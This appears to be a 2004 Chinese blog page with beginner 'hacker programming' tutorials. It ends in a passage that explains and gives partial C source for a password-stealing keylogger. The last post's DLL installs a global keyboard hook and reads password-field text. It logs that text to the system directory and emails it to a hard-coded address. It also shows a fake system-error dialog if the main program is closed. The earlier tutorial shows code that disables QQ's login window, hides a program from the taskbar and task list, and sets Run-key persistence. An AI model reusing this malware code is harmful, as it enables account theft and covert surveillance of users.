我们再看看接受端是如何接受传输过来的流,并且转换成文件的:
NetworkStream nfs = new NetworkStream(sock) ;
try
{
        //一直循环直到指定的文件长度
        while(rby < size)
  {
      byte[] buffer = new byte[1024] ;
      //读取发送过来的文件流
      int i = nfs.Read(buffer,0,buffer.Length) ;
      fout.Write(buffer,0,(int)i) ;
      rby=rby+i ;
    } 
  fout.Close() ;
 
从上面可以看出接受与发送恰好是互为相反的过程,非常简单。
至此,单方向的文件传输就完成了,只需要在每个对等的节点上同时实现上面的发送和接受的处理代码就可以做到互相传输文件了。

- 作者: hzl96 2004年11月16日, 星期二 11:39  回复(1) |  引用(0) 加入博采

Windows黑客编程基础

Windows黑客编程基础hzl96 2004年11月14日, 星期日 17:17  回复(1) |  引用(0) 加入博采



前几天在网上看了 "病毒 "兄写的《 WIN下编程须知》一文,觉得在编程方面要写出一篇适合初学者们看的入门级文章的确很重要,可惜病毒兄只在该文里介绍了线程、消息、句柄等几个基本概念。很多初学者看了对编程还是感到很迷惑,一个从来没有写过程序的人如何入门?如何在短时间内写出自己的程序来?笔者带着这些问题写了这篇文章。这也是笔者在学习编程的初期所遇到的困惑,在此根据笔者的个人理解将其整理成文,希望能引起广大菜鸟们的共鸣,对初学者们有所帮助。
  从理论上说,任何一门语言都可以在任何一个系统上编程,只要找到该系统提供的 "接口 "和对系统内部机制有深入的了解就可以了,至少我是这么认为的。正如 c语言可以在 windows下编程,也同样可以在 Linux上大放异彩一样。
  编程是一项很繁杂的工作,除了应用编程工具之外,了解系统本身内部工作机理非常重要,这是你写出稳定兼容的程序所必不可少的前提条件。你要在哪一种系统上编程就要对该系统的机制进行研究,至少你应该知道一个程序在那个系统上是如何运行的。
一、了解 Windows 内部机制
   Windows 是一个 "基于事件的,消息驱动的 "操作系统。
  在 Windows下执行一个程序,只要用户进行了影响窗口的动作(如改变窗口大小或移动、单击鼠标等)该动作就会触发一个相应的 "事件 "。系统每次检测到一个事件时,就会给程序发送一个 "消息 ",从而使程序可以处理该事件。
每个 Windows 应用程序都是基于事件和消息的,而且包含一个主事件循环,它不停地、反复地检测是否有用户事件发生。每次检测到一个用户事件,程序就对该事件做出响应,处理完再等待下一个事件的发生。
Windows 下的应用程序不断地重复这一过程,直至用户终止程序,用代码来描述实际上也就是一个消息处理过程的 while循环语句。
下面便简单介绍一下与 Windows 系统密切相关的几个基本概念:
窗口:这是我要说的第一个概念。似乎是地球人都知道的事儿了,窗口是 Windows本身以及 Windows 环境下的应用程序的基本界面单位,但是很多人都误以为只有具有标题栏、状态栏、最大化、最小化按钮这样标准的方框才叫窗口。其实窗口的概念很广,例如按钮和对话框等也是窗口哦,只不过是一种特殊的窗口罢了。
从用户的角度看,窗口就是显示在屏幕上的一个矩形区域,其外观独立于应用程序,事实上它就是生成该窗口的应用程序与用户间的直观接口;从应用程序的角度看,窗口是受其控制的一部分矩形屏幕区。应用程序生成并控制与窗口有关的一切内容,包括窗口的大小、风格、位置以及窗口内显示的内容等。用户打开一个应用程序后,程序将创建一个窗口,并在那里默默地等待用户的要求。每当用户选择窗口中的选项,程序即对此做出响应。
程序:通常说的程序都是指一个能让计算机识别的文件,接触得最多的便是 .exe型的可执行文件,这个不难理解。
进程:说到进程,学过《操作系统》的人都很清楚,所谓进程就是应用程序的执行实例(或称一个执行程序)
需要注意的是:进程是程序动态的描述,而上面说到的程序是静态的描述,两者有本质的区别。举个例子,从网上 Down了一个瑞星杀毒软件到 C盘但没有运行,那个 .exe 可执行文件叫做程序,它是一个二进制码的文件。一旦双击了 exe文件图标运行程序,那个 "正在运行着的瑞星杀毒 "便称为进程,它在双击的那一刻被系统创建,当你关机或者在任务栏的图标上单击鼠标右键选 "退出 "时,进程便消亡,彻底结束了生命。进程经历了由 "创建 ""消亡 "的生命期,而程序自始至终存在于你的硬盘上,不管你的机器是否启动。
线程:线程是进程中的一个执行单元,同一个进程中的各个线程对应于一组 CPU指令、一组 CPU寄存器以及一堆栈。进程本来就具有动态的含义,然而实质上是通过线程来执行体现的,从这个意义上说, Windows 中进程的动态性意义已经不是很明显了,只算是给程序所占的资源划定一个范围而已(个人观点,纯属个人理解,不必引起争议!),真正具有动态性意义的是线程。以前在大二学习操作系统课的时候就有个同学跟笔者提起这点,笔者还跟他驳得面红耳赤呢!现在想想,觉得很有道理,不得不佩服那位同学对 Windows内部机制了解得如此清楚。
之所以在此花那么多的篇幅说线程,是因为下面将要介绍到多线程编程技巧,如果不理解这点,那就很难应用到实践上,希望大家明白。
消息:我们几乎做每一个动作都会产生一个消息,在用鼠标指点江山的今天,鼠标被移动会产生 WM_MOUSEMOVE消息,鼠标左键被按下会产生 WM_LBUTTONDOWN的消息,鼠标右键按下便产生 WM_RBUTTONDOWN消息等等。所有的这些都可以通过 GetMessageSendMessage等函数得到 ,以后的操作中我们会经常接触到这些函数。
事件:何谓事件?从它的字面意思我们就可以明白它的含义,如在程序运行的过程中改变窗口的大小或者移动窗口等,都会触发相应的 "事件 "
句柄:单单一个 ""字便可以解释它的意思了,我们天气热摇扇子的时候只要抓住扇柄便可以控制整个扇子的运动了,在程序中也差不多是这个意思。通常一个句柄就可以传递我们所要做的事情。有经验的读者肯定清楚,编写程序总是要和各种句柄打交道的,句柄是系统用来标识不同对象类型的工具,如窗口、菜单等,这些东西在系统中被视为不同类型的对象,用不同的句柄将他们区分开来。
看看 C++ 教材中是如何给句柄下定义的: "Win32里,句柄是指向一个无值型对象( void *)的指针,是一个 4字节长的数据 "。虽然我对它的本质是什么还是很迷惑,但我知道句柄并不是一个真正意义上的指针。从结构上看,句柄的确是一个指针,尽管它没有指向用于存储某个对象的内存位置(很多书都这么说,这正是我的迷惑所在),而实际上句柄指向的是一个包含了对该对象进行的引用的位置。在编程时,只要抓住了对象的句柄就可以对该对象进行操作了(我在《一个简单木马程序的编写与伪装策略》中说到的对 QQ密码的截获就是要找到 QQ登陆窗口的句柄后才开始截密行动的)。下面再举个例子来说明句柄的运用:编一个程序,使 QQ登陆窗口的号码框和密码框均变黑,相关代码及解释:
void __fastcall Tform1::formCreate(TObject *Sender)
{
HWND hCurWindowHC,HE;//定义三个窗口句柄变量, hCurWindow用于存放 QQ用户登陆窗口的句柄, HCHE分别存放 //号码框和密码框的句柄。
if((hCurWindow= FindWindow(NULL,"QQ用户登录 "))!=0   (hCurWindow=FindWindow(NULL,"OICQ用户登录 "))!=0)
{//很明显,调用 FindWindow()函数去获得 QQ登陆窗口的句柄
String str;
str.sprintf("0x%x",hCurWindow);
}
   TCHAR wClassName[255];//类名变量
   HC=GetWindow(hCurWindow, GW_CHILD);//得到号码框的句柄
   HE=GetWindow(HC, GW_HWNDNEXT);//接着得到密码框的句柄
   GetClassName(HE, wClassName, sizeof(wClassName));//得到类名
   GetClassName(HC, wClassName, sizeof(wClassName));//得到类名
   EnableWindow(HE,false);//使窗口失效
   EnableWindow(HC,false);//使窗口失效
   }
  以上代码在 C++ Builder下编译通过,只要运行次程序, QQ登陆窗口的号码框和密码框马上变黑色,无非是  EnableWindow()函数所起的作用。
  你还可以添加一个 Timer控件,将上面的代码 copyvoid __fastcall Tform1::Timer1Timer
   (TObject *Sender)函数中,并在后边加上这一句代码:
   SendMessage(hCurWindow,WM_CLOSE,0,0); 使 QQ一启动就关闭,让别人永远也用不了 QQ,挺有趣儿的哦 :).
   ⒏APISDKAPI是英文 Application Programming Interface 的简称,意为 "应用程序接口 ",泛指系统为应用程序提供的一系列接口函数。其实质是程序内的一套函数调用,在编程的时候可以直接调用,而不必知道其内部实现的过程,只知道它的原型和返回值就可以了,此外,手头经常放着一本 "Windows API大全 "之类的书也是必不可少的,不然你根本不知道哪些 API是干什么用的,瞎编也编不出什么东西来。在后面我们会介绍调用 API编程的例子,调用 API编程工作虽然烦琐,但由于 API函数都被封装在 dll库里,程序只有在运行的时候才调用的,因此程序的体积小而且运行效率高。
   SDK是英文 Software Development Kit 的缩写 ,"软件开发工具包 ",在防火墙的设计中就经常涉及到 SDK
  有关基本的概念就谈这些,那些 C/C++的基本语法、什么是面向对象等知识请大家查阅相关的书,此类书籍各大书店已汗牛充栋,不再多叙。下面直接谈谈语种和编程工具的选择问题,这也是初学者们最迷惑的问题。
  写程序:问题可谈到点子上了,学那么多语言,读那么多程序最终还不是为了写程序,做出适合需要的软件来? "君子性非异也,善加于物也 ",笔者认为一切从借鉴开始,先是修改别人的程序,等到有了一定的程度再写出属于自己的程序。
  刚开始写程序,不要奢望一下子写出很出色的程序来, "万丈高楼平底起 ",编程贵在动手,只要你动手去写了,就算只有一句 "printf("Hello!");"也是一次进步!此外,还要依照自身的能力循序渐进地写,开始的时候写一点功能简单的、篇幅短小的代码,力求简洁、完整, "麻雀虽小,但五脏俱全 ",然后在此基础上进行扩充,一点一点添加功能,下面笔者摘录一位国内一流编程高手、 "豪杰超级解霸 "的作者梁肇新的编程心得,请大家看看一个成功的程序员是如何写程序的,希望对广大菜鸟有所启发:
写程序的方法:在 Win98的环境中,先写主干,用最少的代码实现最基本的功能。然后一点点添加功能,每加一点都要调试。尽量少用动态分配、全局变量。充分利用操作系统直接提供的 API。在 Win98下调试通过之后,再在 Win95下调试通过,然后是 Win97WindowsMEWinNT4.0。这样才能写出稳定、快速的程序。
  给程序员的建议: 1、不要急于求成,这样往往欲速不达。 2、不要什么东西都想学,什么都没掌握。 3、每天都要自我总结,分析自己的错误率和废码率,不断加强自我管理。 4、代码格式很重要。代码要规范、严谨,效率要高。 5、不要盲从简单的开发工具(这点笔者不是很同意,最起码要有一定的功底的人才敢这么说)。 6、有了成果要公开,


黑客编程的几个基本技巧
  以下将要谈到的几个基本技巧很重要,虽然对于编程高手来说这是在玩小孩子把戏,但对于一位初学者,掌握以下几个技巧将为你的编程扫清道路,而且很容易编写出有趣的程序,培养你对编程的兴趣。
 技巧 学会修改注册表。
  相信大家都知道当浏览了一些网页恶意代码, IE标题、默认主页等被改得面目全非,这就是通过改动注册表来更改系统设置的例子。 Windows中的注册表是个好东东,它是 windows系统的灵魂,是许多软件记录数据的地方(当然也包括 windows本身)。 windows通过它记录大量的数据,然后在下一次启动时再读取相应的数据来设置系统。通过控制注册表就可以控制整个系统,所以很多的黑客程序都在注册表上动手脚(尤其是木马程序和作恶剧程序),
  学会修改注册表可以实现一些有趣而强大的功能。我们完全可以通过编程来操作注册表,达到与手动更改注册表 编辑器产生一样的效果。 "超级兔子 "中的大部分功能就是通过修改注册表来完成的。操作注册表有专门的 API函数,大家可以参考有关资料,下面笔者以 C++ Builder为例说明如何在程序中操作注册表:
  程序二:编程修改 IE标题内容
  新建一个工程,在 Unit1.h文件中包含 Registry单元:
   #include
  然后就可以在 .cpp文件操作注册表了,接着来!在窗体的 OnCreate()里加入以下代码(你可以在 try{}里面加入
  任何操作注册表的代码):
   TRegistry* Registry;
   Registry = new TRegistry();创建一个 TRegistry类型的对象 Registry,用于修改注册表。
   try{
   Registry->RootKey = HKEY_CURRENT_USER;//设置主键,这是必不可少的,设置好主键后,就可以操作这个主
   //键下所有的键值了。
   if( Registry->OpenKey("Software/Microsoft/Internet Explorer/Main",FALSE))//调用 OpenKey()
   //打开 .
   //括号里所指的键
   {
   Registry->WriteString("Window Title","台湾是中国的一部分,世界上只有一个中国! ");
   //调用 WriteString()往注册表里写入 IE标题
   Registry->CloseKey();//关闭该键
   }
   else
   {//如果打开失败的话
   Registry->CreateKey("Software/Microsoft/Internet Explorer/Main");//就调用 CreateKey()
   //新建上述键
   Registry->WriteString("Window Title","台湾是中国的一部分,世界上只有一个中国! ");//再写入 //IE
   //题内容
   Registry->CloseKey();//最后关闭该键,这个也不能忽视,它跟上面的 OpenKey成对使用的 }//End of try
   __finally
   {//要是出错,跳到这里处理
   Registry->CloseKey();//关闭所要打开的键
   delete Registry;//销毁 Registry对象,释放资源。
   }
  编译运行上面的代码就可以将 IE的标题改为 "台湾是中国的一部分,世界上只有一个中国! "了。笔者写了个小程序,可以测出当前的 IE标题和默认主页是什么,并可随意修改他们,还可以禁止别人修改你的默认主页和注册表编辑器 .
 技巧 调用 API编程
  其实这是最简单的, API是系统在 DLL里为我们提供的程序接口,可以直接调用的。只要我们有一本《 WindowsAPI大全》之类的书就足够了,下面举个简单的例子:

  程序三:调用 API函数隐藏 Windows的任务栏:
   HWND WndHandle;//定义句柄类型变量
   WndHandle=FindWindow("Shell_TrayWnd",NULL);//调用 API函数 FindWindow()获得任务栏的句柄
   ShowWindow(WndHandle,SW_HIDE);//再调用 API函数 ShowWindow()隐藏任务栏
  大家看到,在上面调用 API函数 FindWindow()和 ShowWindow()的过程中,只要我们知道函数的名字和括号里的参数是什么就行了,至于实现的过程不必理会,也轮不到我们这些菜鸟去理会: }学会调用 API,你可以写出功能强大的程序来,这一技巧对于初学者来说是必须掌握的(代码请参考黑防光盘)。
  技巧 多线程编程技术
  通过上一篇的介绍 ,大家都很清楚线程的概念了,它是进程内部的一个执行单元(如一个函数等),上期说了那么多理论,现在该派上用场了。编写多线程应用程序是指使程序在运行时创建多个线程并发地运行于同一个进程中。今年 6月份横空出世的 "中国黑客 "病毒不是采用了全球独创的 "三线程技术 "吗?虽然笔者没机会分析它的样本代码,但此种病毒的工作效率如此之高是与它的多线程技术分不开的。
  使用多线程技术编程有如下优点:
   提高 CPU的利用率。由于多线程并发运行,可以使用户在做一件事情的时候还可以做另外一件事。特别是在多个 CPU的情况下,更可以充分地利用硬件资源的优势:将一个大任务分成几个小任务,由不同的 CPU来合作完成。
   采用多线程技术,可以设置每个线程的优先级,调整工作的进度。
  清楚了使用多线程技术的优势之后,下面便来谈谈如何在 C++ Builder环境下开发多线程的应用程序,在 C++ Builder 环境中,通过 TThread 类就可以很方便地编写多线程应用程序(但不能直接使用,因此要派生新类),
  具体流程如下:
  从 TThread 类派生出一个新的线程类 ->创建线程对象 ->设置线程对象的属性项 ->挂起或唤醒线程(根据具体情况操作) ->结束线程。
  要说明一点的是:在应用程序中要合理地设置线程的优先级。不要因为某些线程的优先级很高而使其他一些线程因为等不到 CPU的处理时间而被 "饿死 ",也不要因为线程的级别都差不多而导致的频繁切换花费大量的 CPU时间。(本段引自《 C++ Builder 5 编程实例与技巧》 P284)。
 
 技巧 让程序实现后台监控
  这是一个很基本的技巧。如果你是一个木马程序的爱好者,当你阅读众多的木马源程序的时候,就会发现 100%的木马程序都很注意自身的后台监控本领,也就是隐身技术,面对不同的系统要施展不同的对策才能实现。很多杀毒程序就采用了这种后台监控技术,使程序随着系统的启动而运行,然后在后台悄悄地监视系统的一举一动,一发现有不对路的程序就把它 ""出来示众。实现程序的后台监控技术有如下几个关键:
   正常运行时,不显示程序的窗体;
   系统每次启动都自动运行程序一次;
   程序图标不显示在任务栏上;
   不显示在按 Ctrl+Alt+Del 调出的任务列表中;
   通过热键可以调出隐藏的窗体
  实现方法:对于 ,要不显示窗体,我们可以编辑 WinMain函数,设置 ShowMainform值为 False就可以隐藏程序的窗体了。参考代码: Application->ShowMainform = false ;对于 ,可以利用技巧 1所介绍的方法修改注册表,

  键值如下: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun ,使用的是 WriteString()
  方法。这是冰河等多种旧木马惯用的启动手段之一(当然还有文件关联、注入 dll等方法);对于 ,要使程序图标不显示在任务栏上,也很简单,调用 API函数 SetWindowLong 可以让程序运行后不出现在任务栏里,不过要放在窗体的 OnCreate()里面。代码如下:
   SetWindowLong(Application->Handle,GWL_EXstyle,WS_EX_TOOLWINDOW);
  对于 ,调用 RegisterServiceProcess API 函数将程序注册成为一个服务模式程序,让它运行在较高的优先级下 ,就不会出现在程序列表中(对 Win9X有效, WinNT/2000/XP下无效)。具体的代码请参考笔者的《一个简单木马程序的编写与伪装策略》一文,不在此重叙对于 ,要先定义捕获 Windows消息 WM_HOTKEY的钩子函数,然后向 Windows加入一个全局原子,并保留其句柄,最后向 Windows登记热键,这个可以调用 API函数 RegisterHotKey来实现。
  技巧 使用定时触发器
  在 C++ Builder 环境下,定时触发器即 Timer控件,有时候我们希望程序隔一段时间重复执行相同的动作,比如对 QQ密码截获的时候,就要隔一段间隔寻找一次 QQ登录窗口。在 C++ Builder中,只要将执行这些动作的代码放到一个 Timer中去就 OK了。
  听说 "中国黑客 "病毒运行几分钟后就自动创建一个新的线程,用于寻找 OICQ"发送消息 "窗口,在 10分钟内一直在找,一旦找到就将 "*****"等带有政治色彩的言论发送给受害者 QQ上的好友, 10分钟后自动结束该线程。我想在查找 "发送消息 "窗口的 10分钟内就运用了定时器,该病毒是用汇编开发的。可是在 C++ Builder中是如何运用的呢?其实控件的出现使得编程变得很简单,添加一个 Timer控件,设置几下控件的属性,
  双击 Timer控件,将代码放到里面去就行了。程序执行的时候,相隔指定的时间就重复执行里面的代码了。实际上笔者在上一期的 "程序一 "中寻找 QQ登录窗口时,就运用了定时器 .
  有关编程技巧的介绍到此为止,请读者参考另类书籍,掌握更多的黑客编程技巧,编写出受欢迎的黑客程序来。
 五、 Socket 编程与网络通信基础
  由于本文的主题是 "黑客编程基础 ",而黑客是互连网上 "来无影,去无踪 "的黑衣人,如冰河、网络神偷等黑客程序都是基于互连网的,谈黑客编程离开网络编程就会大失其味。所以,下面接着谈谈网络编程,大凡基于网络应用的程序都离不开 Socket
   Socket 为套接字之意,是作为计算机与计算机之间通信的接口。有关 Socket的概念在第 6期《黑客防线 >>的《 Socket 编程的基础和基本过程》一文中有详细的描述,请大家参考,不在此多叙。需要指出的是: Winsock是访问众多的基层网络协议的一种接口,在每个 Win32平台上,它都以不同的形式存在着, Winsock 是网络编程的接口,不是协议,这是容易弄错的地方。
  现在来谈谈 Winsock 编程的过程,大凡在 Win32平台上的 Winsock编程都要经过下列的基本步骤:定义变量 ->获得 Winsock版本 ->加载 Winsock->初始化 ->创建套接字 ->设置套接字选项 ->关闭套接字 ->卸载 Winsock,释放所有资源。
  下面以一道极其简单的程序来说明如何进行 Winsock编程。程序四:编一个程序来获取本地机器的 IP地址。使用 Winsock提供的 API函数是最基本的网络技术,为了给初学者看个清楚,笔者打算在 Visual C++ C++ Builder下各写一个,便于大家区分这两种不同的编程工具的特性(对于本程序来说,他们都差不多,而对于某些通信程序,他们实现起来就相差很远了,但本质是差不多的)。先来看 Visual C++ 下的源程序,实现步骤:打开 Visual C++ ,从 "File"菜单中的 "New"新建一个工程,选中 "Win 32 Console Application",意思是说生成的是 Win32的控制台程序。另外,初学者要注意一点:只要程序中用到了 Winsock API 函数,都要在工程设置的 Link 中增加 Ws2_32.lib 文件,不然程序将不能通过编译,方法是:点击 "Project"菜单,选择 "Settings... ALT+F7" ,在弹出的 "Project Settings"对话框右侧选 "Link"标签,再在 "Project Options"下方的编辑框中增加 Ws2_32.lib文件,点 "OK"就可以了。
 加载好文件之后,就可以在 CheckIP.cpp文件里加入以下代码了:
   //-------Begin from ------------
   //包含需要使用的头文件
   #include "stdafx.h"
   #include "windows.h"
   #include
   #include "stdio.h"
   #include "stdlib.h"
   #include "string.h"
   void CheckIP(void) //定义 CheckIP()函数,用于获取本机 IP地址
   {
   WORD wVersionRequested;// WORD类型变量,用于存放 Winsock版本的正确值 SADATA wsaData;
   char name[255];//定义用于存放获得的主机名的变量
   CString ip;//定义 IP地址变量
   PHOSTENT hostinfo;
   wVersionRequested = MAKEWORD( 2, 0 );
   //调用 MAKEWORD()获得 Winsock版本的正确值,用于下面的加载 Winsock
   if ( WSAStartup( wVersionRequested, &wsaData ) == 0 ) {
   //现在是加载 Winsock库,如果 WSAStartup()函数返回值为 0,说明加载成功,程序可以继续
   //往下执行
   if( gethostname ( name, sizeof(name)) == 0) {
   //如果成功地将本地主机名存放入由 name参数指定的缓冲区中
   if((hostinfo = gethostbyname(name)) != NULL) {
   //这是获取主机名,如果获得主机名成功的话,将返回一个指针,指向 hostinfohostinfo
   //PHOSTENT型的变量,下面即将用到这个结构体
   LPCSTR ip = inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list);
   //调用 inet_ntoa()函数,将 hostinfo结构变量中的 h_addr_list转化为标准的点分表示的 IP
   //地址(如 192.168.0.1
   printf("%sn",ip);//输出 IP地址 } }
   WSACleanup( );//卸载 Winsock库,并释放所有资源 } }
   int main(int argc, char* argv[])//主函数,程序的入口
   {
   CheckIP();//调用 CheckIP()函数获得、输出 IP地址
   return 0;//由于 main()定义为 int型,所以应带回一个 int型的数值
   }
 
 

- 作者:

小小盗号VC实现原理
实现原理很简单主要由1.与前台应用程序挂钩2.收集所需要的信息(即密码)两部份构成

   
    实现原理很简单主要由 1.与前台应用程序挂钩 2.收集所需要的信息 (即密码 )两部份构成
    那么要怎么实线与其他程序挂上钩呢?答案就是钩子程序
    钩子机制允许应用程序截获处理 Windows消息或特定的事件 ,DOS中断处理机制有类似之处 ,钩子 (Hook)Windows消息处理机制的一个平台 (point)。应用程序可以在上面设置子以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程创建的。从钩子原理我们可以知道只要安装任意钩子我们就能插入别的进程。对于盗号我认为键盘钩子和鼠标钩子就很合适,我安装的就是键盘钩子这样只要别人按下键盘首先要经过我们程序的处理然后才是接收键盘消的进程处理,具体怎么安装钩子,我们可以用 API函数 SetWindowsHookEx()把一个应用程序定义的钩子安装到钩子链表中 ,
    其原形如下
    HHOOK SetWindowsEx(
    int idHook, //钩子类形 我们用 WH_KEYBOARDHOOKPROC lpfn,  //构子子程的地址指指针
    其实就是我们处理密码的函数地址   这个函数也叫回调函数
    HINSTANCE hMod,  //应用程序实例句柄 ,也就是这个钩子属于那个程许 我们用的是 DLL句柄后面会说到
    DWORD dwThreadId  //安装的钩子相关联的线程的标识符,如果是 0就是监视所有线程关联 ,我们选 0,我想原因就不用说了
    );
    如果函数成功返回所须要钩子的句柄,失败返回 NULL
    这里要注意的就是要使钩子与所有线程相关联就要把钩子安装在 DLL(钩子一般都是安装在 DLL)我们也可以把所有代码都写在 DLL中应为当成功与其他他应用程序挂钩后就算盗号主程序被人关闭但是他仍然能正常工作作得再绝点在 DLL中监视主程序是否被关,如果被关可以再次呼起主程序或者制造系统错误让机器重起使别人不干轻易关掉你的进程。好了安装钩子后我们就要考虑回调函数了,它的一般形势如下
    LRESULT CALLBACK HookProc(int nCode,   //钩子代码
     WPARAM wParam,   //当前进程标志
    LPARAM lParam  //带有消息结构的地址 )
    这样只要用户按下键盘就会调用我们设计好的回调函数进行处理。到了这里我们基本完成了与其他程序挂钩。
    接下来就要考虑怎样处理收集到的信息了,这就要考虑到底是哪个窗体接收的键盘命令,窗体的标题叫什么,窗体上有密码输入框吗。
    到底是哪个窗体接收的键盘命令 这个可以用 api函数 HWND GetForegroundWindow(VOID); 
    该函数返回前台窗口(用户当前工作的窗口)。系统分配给产生前台窗口的线程一个稍高一点的优先级。返回值:函数返回前台窗口的句柄。仅仅知道了当前窗体还是不够的 还需要一个函数
    int GetWindowText(
        HWND hWnd,//带文本的窗口或控制的句柄。
        LPTSTR lpString, //指向接收文本的缓冲区的指针。
        int nMaxCount  //指定要保存在缓冲区内的字符的最大个数,其中包含 NULL字符。如果文本超过界限,它就被截断。
      );
    这个函数将指定窗口的标题条文本(如果存在)拷贝到一个缓存区内,
    注意: GetWindowTeXt不能接收在其他应用程序中的控制文本。
    但是我们后面的代码就是用这个函数得到密码的 这是为什么呢?
    原因很简单应为你的钩子函数是做在 DLL中和其他程序挂钩之后你的代码就相当与这个程序的一部分了所以可以用他来获取密码信息(个人观点)
    如果函数成功,返回值是拷贝的字符串的字符个数,如果窗口无标题栏或文本,或标题栏为空,或窗口或控制的句柄无效,( QQ登陆的窗口是经过处理的所以我们不会得到 QQ登陆的字符的),则返回值为零。
    好了既然知道可以用 GetWindowTeXt函数获取密码信息 但是很多窗体没有密码信息啊?比如 QQ聊天窗口他全是文本,我门怎么知道这个窗体是有密码信息呢??再说了 QQ登陆窗口 除了密码信息之外还有 QQ登陆: 注册向导   忘记密码 等等不密码窗体来构成的,我门需要一个一个窗体来判断是不是有密码,这就需要用到
      BOOL EnumChildWindows(      
         HWND hWndParent,  //要枚举窗体的句柄
          WNDENUMPROC lpEnumFunc, //和钩子函数的回调函数一样搜索到一个窗体就调用这个指针指到的函数
          LPARAM lParam  //需要传递的参数
      );
    他的办法是寻找指定窗体上的子窗体 找到一个就调用定义好的回调函数进行处理(判断是不是密码框),最后就是怎样判断窗体是不是密码输入框了
      GetWindowLong函数助我们一臂之力 先看看原型把
      LONG GetWindowLong(          HWND hWnd,  //窗口的句柄
          int nIndex //指定要获得值的大于等于 0的值的偏移量   这个有很多值我也不是很知道 但是我门只要知道是用
      GWL_STYLE(得到窗口风格)就够了
      );
      得到了窗口风格就可以用 if语句判断是不是密码窗口了
      要是有密码就可以用 GetWindowTeXt函数来得到密码了
      是不是很简单
      下面我来给大家理一下思路
      1  SetWindowsEx 安装钩子
      2  钩子函数处理   
      3  GetForegroundWindow 得到当前窗体
      4  GetWindowTeXt 得到窗体标题
      5  EnumChildWindows  枚举当前窗体
      6  枚举窗体回调函数处理   如果有密码 GetWindowTeXt得到密码   没有密码继续
      7 发邮件
 
      下面是我写的代码
      由于换了学校基本没时间碰电脑   所以还有部分功能还没很好的实现 但是大体的轮廓出来了
      #include <windows.h>
      #include <stdio.h>
      #include "ksydll.h"
      #define WM_MYSCOKET       0x0090   //自定义消息
      HINSTANCE hins; //钩子函数所在的模块句柄
      #pragma data_seg("shared")   //DLL共享数据段
      HWND keepmy=NULL;    //调用 DLLEXE句柄
      char filelog[250]="";  //保存密码的文件名
      char filebak[250]="";  //保存密码的文件名
      char IP[25]="";   //SMTP服务器地址
      char mailto[70]="RCPT TO: <";  //SMTP命令
      bool exeok=true;   //判断 EXE是否运行
      bool netlink=false;  //判断网络是否正常
      #pragma data_seg()
      #pragma comment(linker, "/section:shared,rws")
      HWND keydll=NULL;   // 当前窗口
      bool yesnoto=false;  //是否有密码
      bool windowsnet=false;  //判断窗体是否带密码
      static HHOOK hkb=NULL;
      char pass[50][255];
      int passint;
      BOOL delksydll();
      BOOL reg();
      //  钩子函数的回调函数
      BOOL CALLBACK FindTrayWnd(HWND hwnd, LPARAM lParam);
      LRESULT CALLBACK KeyboardProc(
       int code,
          WPARAM wParam,
          LPARAM lParam
      )
      {
       HWND mykeyhdc;
       if(((DWORD)lParam&0x40000000)&&(HC_ACTION==code))
       {
        char szCaptions[255]="";
        reg();
        mykeyhdc=GetForegroundWindow();
        //判断窗体是否是原来的
        if(mykeyhdc==keydll)
        {
         FILE *fp;
         fp=fopen(filelog,"w");
            fclose(fp);
         if(windowsnet)
         {
         int temp=1;
         char szClassName[255]="";
         FILE *fp;
         fp=fopen(filelog,"a");
         fwrite("窗口名字——— >",strlen("窗口名字——— >"),1,fp);
         fwrite(szClassName,strlen(szClassName),1,fp);
         fclose(fp);
         passint=0;
         EnumChildWindows(mykeyhdc,FindTrayWnd,(LPARAM)&temp);  //枚举窗体
         }
        }
        else  //如果不是
        {
         int temps=2;
         windowsnet=false;
         //判断是否有邮件
         if(yesnoto)
         {
          //发邮件
          yesnoto=!yesnoto;
          if(netlink)
          {
            netboolto(netok(2));
           if(
      SendMessageTimeout(keepmy,WM_MYSCOKET,NULL,NULL,SMTO_ABORTIFHUNG,150000,0)==0)
            exeok=false;
          }
          else
          {
           FILE *fp;
           FILE *ff;
           char c;
           fp=fopen(filebak,"a");
           ff=fopen(filelog,"r");
           fwrite("以下是未连接网络记录的信息 ",sizeof("以下是未连接网络记录的信息 "),1,fp);
           fputc(10,fp);
           c=fgetc(ff);
           while(!feof(ff))
           {
            fputc(c,fp);
            c=fgetc(ff);
           }
           fclose(fp);
           fclose(ff);
          }
         }
        //判断星号
         passint=0;
        EnumChildWindows(mykeyhdc,FindTrayWnd,(LPARAM)&temps);
        if(temps==3)
        {
          windowsnet=true;
         // yesnoto=true;
          keydll=mykeyhdc;
        }
        }
       }
       if(exeok)
       return CallNextHookEx(hkb,code,wParam,lParam);
       else
       {
        //要是主程序被关闭就制造错误
        return(MessageBox(mykeyhdc,"系统出现严重错误 /n请尝试重新启动 !","错误 ",MB_ICONWARNING));
       }
      }
      //安装钩子
      extern "C" __declspec(dllexport) bool insthook(HWND hwnd)
      {
       if(hwnd!=NULL)
        keepmy=hwnd;
       if(strcmp(mailto,"RCPT TO: <")==0)
        strcat(mailto,"shunyuncc@163.com>/n");
       int i=0;
       char  SysPath[MAX_PATH];
       DWORD size=MAX_PATH;
       GetSystemDirectory(SysPath,size);
       strcpy(filelog,SysPath);
       strcat(filelog,"//keyslog.txt");
       for(i=0;i<=(int)strlen(filelog);i++)
        filelog[i]=tolower(filelog[i]);
       strcpy(filebak,SysPath);
       strcat(filebak,"//baklog.txt");
       for(i=0;i<=(int)strlen(filebak);i++)
        filebak[i]=tolower(filebak[i]);
       hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);   
      //核心语句安装钩子
       return true;
      }
      //DLL入口函数
      BOOL WINAPI DllMain(
        HINSTANCE hinstDLL,
        DWORD fdwReason,
        LPVOID lpvReserved
      )
      {
       hins=hinstDLL;
       insthook(NULL);
       return true;
      }
      //枚举回调函数
      BOOL CALLBACK FindTrayWnd(HWND hwnd, LPARAM lParam)
      {
       int *calltemp=(int *)lParam;
       if(*calltemp==1)
       {
       char szClassName[255]="";
       GetWindowText(hwnd,szClassName,255);   //得到窗体的文本
       LONG lStyle=GetWindowLong(hwnd,GWL_STYLE);  //获取窗口风格
        if (lStyle&ES_PASSWORD)  //判断是不是密码窗口
         if(strcmp(pass[passint],szClassName)!=0)
         {
         yesnoto=true;
         passint++;
         }
       if(szClassName!=NULL)
       {
        FILE *fp;
        char temp[255];
        fp=fopen(filelog,"a");
        GetClassName(hwnd,temp, 255);
        if(strcmp(temp,"Edit")==0)
